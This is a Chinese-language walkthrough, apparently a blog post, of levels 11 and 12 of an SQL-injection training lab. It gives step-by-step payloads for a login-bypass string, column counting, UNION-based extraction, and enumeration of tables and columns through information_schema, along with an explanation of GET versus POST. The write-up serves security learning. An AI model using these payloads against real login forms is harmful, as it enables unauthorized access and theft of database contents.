第十一关
我们打开页面之后发现是一个登录的页面
我们先尝试一下万能密码
admin
1‘ or 1=1#

我们可以查看一下他是不是字符型注入
admin
1’

是字符型注入,单引号的字符型注入
我们可以登录成功,但是我们会发现这道题与前面的不一样,这道题是post请求的方式,因为我们没有在地址栏 里看到传入的参数
get和post的区别
GET和POST是HTTP请求的两种基本方法,还有PUT,DELETE,分别对应的是查,改,增,删
GET和POST本质上都是TCP链接
GET产生一个TCP数据包;POST产生两个TCP数据包
规范中get是用来获取信息的,而post是用来传递实体的
get请求的参数要放在url上,post请求的参数要放在请求的正文
GET请求只能进行url编码,而POST支持多种编码方式。
GET只接受ASCII字符,而POST没有限制。大小上也有限制post大于get,url有限制
post要比get安全性高一点,因为用get方法提交数据时,用户名和密码将出现在URL上,页面也可以被其他人访问,而post是放在HTTP包的body中,具有一定的隐蔽性。
所以我们就会看到这道题没有在url上显示我们输入的用户名密码,所以是post请求
然后我们查看字段数
admin
1' order by 2#

1' order by 3#

我们就可以看出只有俩个字段
我们接着查看它的显示位
admin
1' union select 1,2#

我们就可判断库名
admin
1' union select 1,database()#

判断表名
admin
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

查出有四张表,我们还是从第一张查起,接着查列名
admin
1'union select 1,group_concat(column_name) from information_schema.columns where table_name='emails'#

我们可以看出其中的列名是id,我们接着查数据
admin
1' union select 1,id from emails#

就可以看到我们想要的内容
第十二关
我们接着打开题目也是一个登录页面

我们也是先上万能密码
admin
1' or 1=1#

看看是不是字符型注入
admin
1’ 或者是其它的,发现1'是不对的,然后接着试1"

我们就可以看出有双引号和括号 ")
然后我们就")闭合
1") union select 1,database()#
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
1")union select 1,group_concat(column_name) from information_schema.columns where table_name='emails'#
1")union select 1,id from emails#
和上一关差不多只是闭合的符号不一样
文章详细介绍了如何通过字符型注入攻破登录页面,利用万能密码和SQL查询技巧探测数据库信息,包括GET和POST请求的区别,以及在POST请求中的安全考量。通过对不同闭合符号的测试,揭示了数据库结构和数据,展示了SQL注入攻击的过程。
656

被折叠的 条评论
为什么被折叠?



